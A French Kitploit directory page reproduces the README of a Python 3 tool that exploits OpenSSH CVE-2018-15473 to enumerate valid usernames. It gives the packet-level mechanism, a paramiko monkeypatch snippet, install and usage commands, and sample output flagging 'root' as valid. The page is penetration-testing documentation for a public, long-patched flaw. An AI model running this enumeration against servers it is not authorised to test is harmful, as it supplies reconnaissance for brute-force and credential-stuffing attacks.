Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Threaded-CVE-2018-15473 — Une réimplémentation en Python 3 de l'exploit classique d'énumération d'utilisateurs OpenSSH CVE-2018-15473, étendue avec le multithreading, la prise en charge des wordlists, la détection automatique des vulnérabilités et l'application de correctifs d'exploit thread-safe. | Kitploit
Outils/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
ReconnaissanceAnalyse des VulnérabilitésExploitationCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

Une réimplémentation en Python 3 de l'exploit classique d'énumération d'utilisateurs OpenSSH CVE-2018-15473, étendue avec le multithreading, la prise en charge des wordlists, la détection automatique des vulnérabilités et l'application de correctifs d'exploit thread-safe.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
2il y a 5 moisPas encore vérifié

CVE-2018-15473 — Outil d'énumération de noms d'utilisateur SSH

Une réimplémentation en Python 3 de l'exploit classique d'énumération d'utilisateurs OpenSSH CVE-2018-15473, enrichie avec le multithreading, la prise en charge de listes de mots, la détection automatique de vulnérabilité et un patch d'exploit sûr pour les threads.


Table des matières

  • À propos de la vulnérabilité
  • Comment fonctionne l'exploit
  • Fonctionnalités
  • Prérequis
  • Installation
  • Utilisation
  • Exemples
  • Crédits et recherche originale
  • Avertissement

À propos de la vulnérabilité

CVE-2018-15473 est une vulnérabilité d'énumération d'utilisateurs affectant les versions d'OpenSSH 2.3 à 7.7.

La vulnérabilité provient d'une différence subtile dans la façon dont le serveur OpenSSH répond aux tentatives d'authentification pour les noms d'utilisateur valides par rapport aux invalides. En forgeant un paquet d'authentification par clé publique malformé, un attaquant peut observer le comportement du serveur et déterminer si un nom d'utilisateur donné existe sur le système — sans avoir besoin de connaître le mot de passe de l'utilisateur.

Cette information peut constituer une première étape critique dans une attaque ciblée par force brute ou par bourrage d'identifiants.

DétailValeur
ID CVECVE-2018-15473
Versions affectéesOpenSSH 2.3 – 7.7
Score CVSS5.3 (Moyenne)

Comment fonctionne l'exploit

Le flux d'authentification d'OpenSSH fonctionne normalement comme suit :

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

L'exploit abuse de l'étape MSG_SERVICE_ACCEPT. Lorsque le serveur renvoie un MSG_SERVICE_ACCEPT, le client est censé ajouter un champ booléen au paquet MSG_USERAUTH_REQUEST suivant. En patchant la méthode Message.add_boolean de paramiko pour qu'elle devienne une no-op, l'outil envoie un paquet d'authentification malformé/tronqué.

Le serveur OpenSSH se comporte alors différemment selon que le nom d'utilisateur existe :

  • Nom d'utilisateur invalide → Le serveur rejette immédiatement avec MSG_USERAUTH_FAILURE (le nom d'utilisateur n'existe pas, inutile de vérifier la clé)
  • Nom d'utilisateur valide → Le serveur lève une AuthenticationException (il a tenté de vérifier la clé, confirmant que l'utilisateur existe)

Cet outil intercepte ces deux réponses via des gestionnaires paramiko patchés (_parse_userauth_failure et _parse_service_accept) et classe chaque nom d'utilisateur en conséquence.

Correctif de sécurité des threads

Le PoC d'origine patch add_boolean de façon permanente, ce qui provoque une condition de concurrence lorsque plusieurs threads s'exécutent simultanément — les threads interfèrent avec leurs poignées de main respectives, produisant de fausses erreurs SSH negotiation failed. Cette réimplémentation encapsule le patch dans un threading.Lock(), rendant l'échange atomique :

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

Fonctionnalités

  • Vérification d'un nom d'utilisateur unique — mode one-shot rapide
  • Mode liste de mots — énumère une liste complète de noms d'utilisateur
  • Multithread — nombre de threads configurable, entièrement sûr pour les threads
  • Détection automatique de vulnérabilité — utilise nmap pour vérifier que la cible exécute une version vulnérable d'OpenSSH avant l'analyse
  • Déduplication — supprime automatiquement les noms d'utilisateur en double des listes de mots
  • Sortie propre — résultats colorisés avec un rapport récapitulatif

Prérequis

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (binaire système, doit être installé)

Installation

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

Assurez-vous que nmap est installé sur votre système :

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

Utilisation

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

Exemples

Vérifier un nom d'utilisateur unique :

root@kitploit:~
python main.py 192.168.1.10 -u root

Énumérer une liste de mots avec les threads par défaut :

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

Énumérer avec un nombre de threads et un port personnalisés :

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

Exemple de sortie :

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

Crédits et recherche originale

Cet outil est une réimplémentation en Python 3 et une extension du proof-of-concept original. Le crédit complet pour la découverte et la documentation de cette vulnérabilité revient aux chercheurs originaux :

Exploit original : https://leapsecurity.io

Cette réimplémentation ajoute :

  • Compatibilité Python 3 (l'original était en Python 2)
  • Patch d'exploit sûr pour les threads (correction de la condition de concurrence)
  • Mode liste de mots avec multithreading
  • Détection automatique de vulnérabilité basée sur nmap
  • Rapport de résultats structuré

Avertissement

Cet outil est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés.
Utiliser cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégal et contraire à l'éthique.
L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce logiciel.
Pratiquez toujours une divulgation responsable.

Télécharger l’outil
TypeDivulgation d'informations / Énumération d'utilisateurs
Authentification requiseNon
RôleNom / Pseudo
Auteur du PoC originalLeap Security (@LeapSecurity)
Recherche sur la vulnérabilitéMatthew Daley
Recherche sur la vulnérabilitéJustin Gardner
Recherche sur la vulnérabilitéLee David Painter